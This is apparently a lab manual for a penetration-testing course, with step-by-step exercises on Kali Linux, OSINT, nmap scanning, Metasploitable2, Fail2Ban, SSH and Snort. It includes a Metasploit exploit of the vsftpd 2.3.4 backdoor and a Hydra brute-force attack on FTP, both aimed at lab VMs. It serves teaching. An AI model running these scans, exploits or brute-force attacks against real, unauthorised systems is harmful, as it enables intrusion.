1. **Aim:**
   To install Kali Linux on VirtualBox.

---

**Prerequisites:**

- VirtualBox installed
- Kali Linux ISO file (64-bit or 32-bit)
- Minimum 20 GB disk space, 2 GB RAM recommended

---

**Procedure:**

**Step 1: Download Kali ISO**

- Go to the Kali Linux Downloads page.
- Download the appropriate ISO file.

**Step 2: Create Virtual Machine**

1. Open VirtualBox → Click **New**
2. Set name (e.g., Kali Linux), OS type: **Linux**, Version: **Debian (64-bit)**
3. Assign RAM (min 1 GB, preferably 2 GB or more)
4. Create virtual hard disk (VDI, Dynamically allocated, ≥8 GB)

**Step 3: Configure VM Settings**

1. Settings → General → Advanced: Set **Shared Clipboard** and **Drag'n'Drop** to **Bidirectional**
2. System → Motherboard: Set boot order to Optical first
3. System → Processor: Set CPUs to 2

4. Storage → Add the downloaded Kali ISO under Controller: IDE

**Step 4: Install Kali Linux**

1. Start VM → Select **Graphical Install**
2. Go through setup steps:
    - Language, location, keyboard
    - Set hostname and domain name
    - Create root password
    - Choose time zone
    - Partition disk (Guided - Use entire disk → All files in one partition)
    - Install system and GRUB bootloader
3. After installation, reboot and log in with the created credentials.

---

**Result:**
Kali Linux is successfully installed and running on VirtualBox.

2. **Aim:**
To explore Kali Linux and learn basic Bash scripting.

**Procedure:**
Bash scripting allows automation of commands via text files (usually with `.sh` extension) that begin with `#!/bin/bash`. These scripts need executable permission using `chmod +x`.

**1. Create and Run a Script:**
Example:

```
#!/bin/bash
# Hello World Script
echo "Hello World!"
```

- Save the file as `hello-world.sh`
- Make executable: `chmod +x hello-world.sh`
- Run: `bash hello-world.sh`

**2. Variables:**
Declare and use variables:

```
name="Kali"
surname="Linux"
echo "$name $surname"
```

**3. Quotes in Variables:**

- Use `' '` to prevent variable expansion.
- Use `" "` to allow expansion.

```
hello="Hello World"
hello2="Hi, $hello"
echo "$hello2"
```

**4. Command Substitution:**

```
user=$(whoami)
echo $user
```

**5. Arguments in Scripts:**
Pass and access arguments:

```
echo $0   # Script name
echo $1   # First argument
echo $#   # Number of arguments
echo $@   # All arguments
```

**6. User Input with `read`:**

```
read -p "Enter name: " name
echo "Hello $name"
```

**Result:**
Basic Bash scripting was successfully executed in Kali Linux terminal.

3. **Aim:**
To perform open-source intelligence (OSINT) gathering using Netcraft, Whois, DNS Reconnaissance, Harvester, and Maltego in Kali Linux.

**Procedure:**

**1. Netcraft:**

- Visit: https://sitereport.netcraft.com
- Enter domain (e.g., microsoft.com) to view hosting, OS, registrar, and contact info.

**2. Whois Lookup:**

- Run: `whois domain.com`
- Displays domain ownership, registrar, expiry, etc.

**3. DNS Reconnaissance (dnsenum):**

Install:

```
sudo apt install libtest-www-mechanize-perl libnet-whois-ip-perl
sudo apt install cpanminus
```

- 
- Basic scan: `dnsenum domain.com`
- Advanced: `dnsenum --enum example.com`

- Save results: `dnsenum -noreverse -o output.xml example.com`
- Other tools:
    - `nslookup domain.com`
    - `dig domain.com`

**4. Harvester:**

Find emails, subdomains, hosts:

`theHarvester -d domain.com -l 300 -b google`

- 

**5. Maltego:**

- Install: `sudo apt install maltego`
- GUI tool for visual OSINT mapping and data linking.

**Result:**
All listed OSINT tools were successfully executed and tested on Kali Linux.

.

4. **Aim:**
To understand and perform network scanning using the `nmap` command.

**Tool Used:**
**Nmap** – A powerful open-source tool for network exploration and security auditing.

**Uses of Nmap:**

- Identify live hosts
- Detect open ports and services
- Discover vulnerabilities

- Fetch version and OS details

**Procedure:**

1. **Find Victim IP:**
    - On the target (Windows) machine, run `ipconfig`
    - Note IPv4 address (e.g., `192.168.139.1`)

**Check if Host is Live:**

```
nmap -PU 192.168.139.1   # UDP ping
nmap -PR 192.168.139.1   # ARP ping
nmap -PS 192.168.139.1   # TCP SYN ping
nmap -PA 192.168.139.1   # TCP ACK ping
```

2.

**Check Firewall Status:**

```
nmap -sA 192.168.139.1
```

3.
    - **Filtered TCP** → Firewall active
    - **Unfiltered TCP** → No firewall

**Check Version Details:**

```
nmap -sV 192.168.139.1
```

4.

**Detect Operating System:**

```
nmap -O 192.168.139.1
```

5.

**Result:**
Network scanning and information gathering were successfully done using Nmap.

5. **Aim:**
To install Metasploitable2 on VirtualBox and identify unpatched vulnerabilities.

**Tool:**
**Metasploitable2** – A deliberately vulnerable Linux virtual machine used for practicing penetration testing.

---

**Procedure:**

1. **Download Metasploitable2:**
    - Visit: https://information.rapid7.com/download-metasploitable-2017.html
    - Extract the ZIP file.
2. **Install on Virtual Machine:**
    - Import the extracted VM into VirtualBox or VMware.
    - Start the VM.
    - Default credentials:
        - **Username:** `msfadmin`
        - **Password:** `msfadmin`
3. **Get Target IP Address:**

Inside Metasploitable2 terminal, type:

```
ifconfig
```

- 

**Scan for Vulnerabilities Using Nmap (on Kali):**

```
nmap -sV -oX scan_output.xml <target_ip>
```

4. 

---

**Result:**
Metasploitable2 was successfully installed, and potential vulnerabilities were identified using Nmap scanning.

6. **Aim:**
To use Metasploit to exploit an unpatched vulnerability.

---

**Procedure:**

1. **Identify Target IP:**

In Metasploitable2 terminal, type:

```
ifconfig
```

   - 
   - Note the IP address.

2. **Scan for Vulnerabilities (Kali):**

In Kali terminal, type:

```
nmap -sV <target_ip>
```

   - 
   - This will show the open services and versions.

3. **Launch Metasploit:**

Start Metasploit:

```
msfconsole
```

   - 

4. **Use an Exploit:**

Load the exploit module for a known vulnerable service:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

- 

Check required options:

```
show options
```

- 

Set the target IP:

```
set RHOST <target_ip>
```

- 

Run the exploit:

```
exploit
```

- 

---

**Result:**
Metasploit successfully exploited the unpatched vulnerability in the target system.

## 7. **Aim:**

To install a Linux server on VirtualBox and set up SSH.

---

## **Procedure:**

1. **Download & Install:**
    - Install **VirtualBox** and download the **Ubuntu Server ISO**.
    - Create a new VM in VirtualBox (Type: Linux, Version: Ubuntu 64-bit).

2. **Install Ubuntu Server:**
    - Start the VM → Load ISO → Complete installation with hostname (`hostcom`), username, and password.
    - Accept default options and install GRUB.

**Update & Install SSH:**

```
sudo apt update && sudo apt upgrade
sudo apt install openssh-server
sudo systemctl enable --now ssh
sudo systemctl status ssh
```

3.

**Firewall Configuration:**

```
sudo ufw allow ssh
sudo ufw status
```

4.

**Connect via SSH:**

```
ssh username@IP_address
```

5.

**(Optional) Secure SSH:**

```
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.initial
sudo nano /etc/ssh/sshd_config
```

6.
7. **Check Vulnerabilities:**

From Kali:

```
nmap -sV <victim_ip>
```

    -

---

## Result:

Linux server and SSH were installed successfully, and vulnerabilities were checked using Nmap.

## 8. Aim:

To use Fail2Ban to scan log files and ban IPs showing malicious signs (e.g., brute-force attempts).

---

## Procedure:

**Install Fail2Ban:**

```
sudo apt install fail2ban
```

1.

**Start and enable Fail2Ban:**

```
sudo systemctl enable --now fail2ban
```

2.

**Monitor Fail2Ban:**

```
fail2ban-client status       # Show enabled jails
fail2ban-client status sshd  # Status for SSH jail
```

3.
4. **Enable and Configure SSH Jail:**

Edit: `/etc/fail2ban/jail.local`

```
[sshd]
enabled = true
maxretry = 5
bantime = 2w
```

```
findtime = 1d
ignoreip = 127.0.0.1/8
banaction = iptables
```

- 

**Set Email Alerts (Optional):**

```
[DEFAULT]
destemail = you@example.com
action = %(action_mwl)s
```

5. 

**Change Default Ban Time:**

```
[DEFAULT]
bantime = 1d
```

6. 

**Reload Fail2Ban:**

```
sudo systemctl reload fail2ban
```

7. 

---

## Result:

Fail2Ban successfully scanned logs and banned IPs with malicious behavior.

9. **Aim:**

To launch brute-force attacks on a Linux server using Hydra.

---

## Procedure:

**Open Kali Linux** and check Hydra is installed:

```
hydra
```

1.

**Locate the password list** (e.g., `rockyou.txt`):

```
cd /usr/share/wordlists
gzip -d rockyou.txt.gz   # Unzip if compressed
```

2.

**Launch the brute-force attack:**

```
hydra -l user -P /usr/share/wordlists/rockyou.txt <victim_ip> ftp
```

3.
    - `-l user` – Target username
    - `-P` – Path to the password file
    - `<victim_ip>` – IP of the victim machine
    - `ftp` – Protocol to attack

---

## Result:

Brute-force attack was successfully launched on the Linux server using Hydra.

## 10. Aim:

Perform real-time network traffic analysis and packet logging using Snort.

---

## Procedure:

**Install Snort:**

```
sudo apt-get install snort
```

1.
2. **Locate configuration file:**
   `/etc/snort/snort.conf`

**Edit configuration:**
Open with a text editor:

```
sudo nano /etc/snort/snort.conf
```

3.
   - Set `HOME_NET` to the victim IP to monitor
   - Set `EXTERNAL_NET` to the network IP range to watch for threats
     Save and exit.

**Test Snort configuration:**

```
sudo snort -T -c /etc/snort/snort.conf
```

4.

**Run Snort to monitor traffic:**

```
sudo snort -q -A console -i eth0 -c /etc/snort/snort.conf
```

5. This will start Snort in console mode, monitoring traffic on `eth0`.

---

## Result:

Real-time network traffic analysis and logging was successfully performed using Snort.